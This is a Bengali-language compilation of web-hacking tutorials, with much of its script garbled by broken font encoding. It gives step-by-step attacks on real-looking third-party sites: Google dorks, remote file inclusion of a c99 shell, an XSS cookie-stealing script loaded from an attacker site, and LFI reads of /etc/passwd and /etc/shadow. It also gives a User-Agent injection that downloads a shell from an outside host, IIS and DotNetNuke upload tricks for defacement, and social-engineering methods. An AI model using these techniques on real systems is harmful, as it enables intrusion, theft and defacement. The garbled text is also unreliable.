মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর
িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয
অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা
ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায
ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK
HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি
ndashgtimpersonation
mdashgtposing as imp user
mdashgt3rd person approach
mdashgttechnical support
কসিউটার সভসিক মিািযা িআসজজসিোসরিং
কতনচছচয কচছযকটি বাচছগ কতফবি
ndashgtmailim attachments
ndashgtpop up windows
mdashgtsweepstakes
mdashgtspam mail
এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন
কতরচছখচছছনঃ সভচছকতদ াান
অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip
Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন
mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash
mdashmdashmdashmdashmdash
সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip
httpwwwtargetsitecomindexphppage=Anything
উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ
ldquoinurlindexphppage=rdquo
উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ
ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন
httpwwwtargetsitecomindexphppage=wwwgooglecom
এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip
httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom
তাচছর এটি সদখাচছফhellip
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
